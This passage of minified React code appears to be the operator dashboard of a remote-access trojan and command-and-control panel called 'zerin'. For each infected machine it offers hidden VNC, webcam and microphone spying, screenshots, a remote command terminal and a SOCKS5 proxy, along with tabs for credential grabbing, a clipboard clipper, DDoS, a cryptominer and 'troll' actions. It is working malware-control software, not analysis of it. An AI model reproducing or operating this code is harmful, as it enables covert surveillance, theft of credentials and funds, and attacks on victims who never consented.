"):"";L.push({type:"command",content:`${q.command}${te}`,timestamp:q.created_at});const me=c.find(V=>V.task_id===q.id);me?(me.error&&L.push({type:"error",content:me.error,timestamp:me.completed_at}),me.output&&L.push({type:"output",content:me.output,timestamp:me.completed_at})):q.status==="queued"||q.status==="sent"?L.push({type:"system",content:`[${q.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):q.status==="timeout"&&L.push({type:"error",content:"[Task timed out]"})}if(L.length>K){const q=L.slice(L.length-K);return q.unshift({type:"system",content:`[Output truncated: showing last ${K.toLocaleString()} of ${L.length.toLocaleString()} lines]`}),q}return L},[C,c]),B=p.useMemo(()=>{const L=[];for(const de of C){if(de.command!=="screenshot")continue;const q=c.find(te=>te.task_id===de.id);if(q!=null&&q.data){const te=qA(q.data)?KA(q.data):`data:image/png;base64,${q.data}`;L.push({taskId:de.id,timestamp:q.completed_at,dataUrl:te})}}return L},[C,c]),ie=x?z2.filter(L=>L.startsWith(x.split(" ")[0])&&L!==x.split(" ")[0]):z2;async function ve(L){var me;if(L.preventDefault(),!e||!x.trim())return;const de=x.trim().split(/\s+/),q=de[0],te=de.slice(1);v(!0),w(!1);try{await Ee(e,{command:q,args:te}),g(""),D(null),setTimeout(ee,500)}catch(V){D(`[SEND FAILED] ${V instanceof Error?V.message:"Unknown error"}`)}finally{v(!1),(me=xe.current)==null||me.focus()}}function we(L){var de;g(L+" "),w(!1),(de=xe.current)==null||de.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent
hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20
px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const _e=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim
hover:text-zerin-accent transition-colors px-2 py-1
hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:_e}),s.jsx(sd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Hs(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await gx(i.id);const L=rt(),de=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await cj(i.id);const L=rt(),de=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>ge(L=>!L),className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:X,onChange:L=>se(Number(L.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(L=>s.jsxs("option",{value:L,children:["Camera ",L]},L))]}),s.jsx("button",{onClick:async()=>{ge(!1);try{await uj(i.id,X);const L=rt(),de=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await dj(i.id);const L=rt(),de=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ee(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(vn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(vn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:B.length>0?B.length:void 0}),s.jsx(vn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(vn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(vn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(vn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(vn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(vn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(vn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(vn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(vn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(vn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(wp,{title:"System",children:[s.jsx(Qt,{label:"Hostname",value:i.hostname}),s.jsx(Qt,{label:"Username",value:i.username}),s.jsx(Qt,{label:"OS",value:So(i.os)}),s.jsx(Qt,{label:"Architecture",value:i.arch}),s.jsx(Qt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Qt,{label:"Integrity",value:i.integrity}),s.jsx(Qt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(wp,{title:"Network",children:[s.jsx(Qt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Qt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(wp,{title:"Timing",children:[s.jsx(Qt,{label:"Sleep / Jitter",value:vj(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Qt,{label:"First Seen",value:No(i.first_seen)}),s.jsx(Qt,{label:"Last Seen",value:Vc(i.last_seen)}),s.jsx(Qt,{label:"Agent ID",value:Hs(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[km($.bytes_in)," in / ",km($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await qE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const L=await fj(i.id);H({active:!0,port:L.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(L=>{var q;const de=(q=L.args)!=null&&q.length?" "+L.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[L.command,de]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${GU[L.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:L.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:No(L.created_at)})]},L.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(OU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(TU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(MU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(LU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(IU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(RU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(VU,{agentId:i.id,agentStatus:i.status,autoGrab:R,onAutoGrabConsumed:()=>{W(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(qU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(US,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(YU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(L=>s.jsxs("button",{onClick:()=>_(L.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border
hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(L.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:L.dataUrl,alt:`Screenshot ${Hs(L.taskId)}`,className:`w-full h-full object-cover opacity-90
group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(de=>new Set(de).add(L.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Hs(L.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Vc(L.timestamp)})]})})]},L.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>O(L=>!L),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(_U,{lines:ne,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ie.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0
bg-zerin-panel border border-zerin-panel-border
z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ie.map(L=>s.jsx("button",{onClick:()=>we(L),className:`px-2.5 py-1 text-xs font-mono
bg-zerin-bg text-zerin-text-dim
border border-zerin-panel-border
hover:text-zerin-accent hover:border-zerin-accent/40
hover:bg-zerin-accent-muted transition-colors`,children:L},L))})]})}),U&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:U}),s.jsxs("form",{onSubmit:ve,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:xe,type:"text",value:x,onChange:L=>g(L.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border
px-3 py-1.5 text-zerin-text font-mono text-sm
placeholder-zerin-text-muted
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20
disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white
text-sm font-medium px-4 py-1.5
disabled:opacity-30 disabled:cursor-not-allowed
transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(gj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>_(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:L=>L.stopPropagation(),children:[s.jsxs("button",{onClick:()=>_(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim
hover:text-zerin-text text-sm transition-colors px-2 py-1
hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function vn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:`
px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px
${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"}
`,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function wp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Qt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const HS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},C2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},ZU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function QU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await IE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(ld);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(P2,{label:"All",active:i==="all",onClick:()=>a("all")}),ZU.map(m=>s.jsx(P2,{label:HS[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 